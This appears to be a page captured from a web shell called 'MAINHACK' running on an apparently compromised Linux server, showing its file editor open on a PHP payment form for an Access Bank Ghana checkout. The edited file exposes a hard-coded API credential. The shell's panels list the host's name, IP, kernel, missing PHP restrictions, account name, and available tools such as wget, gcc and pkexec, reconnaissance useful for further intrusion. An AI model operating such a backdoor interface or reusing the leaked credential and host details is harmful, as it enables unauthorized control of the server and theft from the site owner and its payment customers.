[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api.php
<?php if ($_SERVER['REQUEST_METHOD'] === 'POST') { $url = "https://apps.ghana.accessbankplc.com/webpay/Checkout/v1/Test/Init"; // Dynamically detect your domain for callback $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https://" : "http://"; $domain = $_SERVER['HTTP_HOST']; $callbackUrl = $protocol . $domain . "/payment-return"; $data = [ "Amount" => $_POST['amount'], "CallbackUrl" => $callbackUrl, "ReferenceId" => "REF" . time(), // unique reference ID "PaymentMethod" => $_POST['payment_method'] ]; // If MOMO, include customer number if ($_POST['payment_method'] === 'MOMO' && !empty($_POST['momo_number'])) { $data["CustomerMobileNumber"] = $_POST['momo_number']; } $headers = [ "Content-Type: application/json", "Authorization: Ym5Jd2IzQjNaSEYyZWpOTS5kZXYuYTNwQk5FNXFNWGQyUlZGeQ==", "User-Agent: Mozilla/5.0" ]; $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_POST => true, CURLOPT_HTTPHEADER => $headers, CURLOPT_RETURNTRANSFER => true, CURLOPT_POSTFIELDS => json_encode($data), CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2 ]); $response = curl_exec($ch); if (curl_errno($ch)) { echo "cURL Error: " . curl_error($ch); } else { $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $result = json_decode($response, true); if ($httpcode === 200 || $httpcode === 201 || $httpcode === 202) { if (isset($result['paymentUrl'])) { // 🚀 Redirect to AccessBank checkout page header("Location: " . $result['paymentUrl']); exit; } else { echo "<h3>API Response (no redirect URL found):</h3><pre>"; print_r($result); echo "</pre>"; } } else { echo "<p><b>HTTP Status:</b> $httpcode</p>"; echo "<p>Response: " . htmlspecialchars($response) . "</p>"; } } curl_close($ch); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Payment Form</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet"> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script> </head> <body class="bg-light"> <div class="container mt-5"> <div class="card shadow-sm p-4"> <h3 class="mb-3">Make a Payment</h3> <form method="POST" id="paymentForm"> <div class="mb-3"> <label class="form-label">Amount (GHS)</label> <input type="number" name="amount" class="form-control" required> </div> <div class="mb-3"> <label class="form-label">Payment Method</label> <select name="payment_method" id="payment_method" class="form-control" required> <option value="">-- Select Method --</option> <option value="MOMO">Mobile Money</option> <option value="CARD">Card</option> </select> </div> <input type="hidden" name="momo_number" id="momo_number"> <button type="submit" class="btn btn-primary w-100" id="submitBtn">Pay Now</button> </form> </div> </div> <!-- MOMO Modal --> <div class="modal fade" id="momoModal" tabindex="-1"> <div class="modal-dialog"> <div class="modal-content p-4"> <h5 class="mb-3">Enter Mobile Money Number</h5> <input type="tel" id="momoInput" class="form-control mb-3" placeholder="e.g. 024xxxxxxx"> <button type="button" class="btn btn-primary w-100" onclick="setMomo()">Continue</button> </div> </div> </div> <script> document.getElementById('paymentForm').addEventListener('submit', function(e) { let method = document.getElementById('payment_method').value; let momoNumber = document.getElementById('momo_number').value; // If MOMO is selected but number not yet provided -> show modal if (method === 'MOMO' && !momoNumber) { e.preventDefault(); // stop form let momoModal = new bootstrap.Modal(document.getElementById('momoModal')); momoModal.show(); } // If CARD or BANK -> submit directly (API will redirect to hosted page) }); function setMomo() { let number = document.getElementById('momoInput').value.trim(); if (number) { document.getElementById('momo_number').value = number; let momoModal = bootstrap.Modal.getInstance(document.getElementById('momoModal')); momoModal.hide(); document.getElementById('paymentForm').submit(); } else { alert("Please enter your Mobile Money number"); } } </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002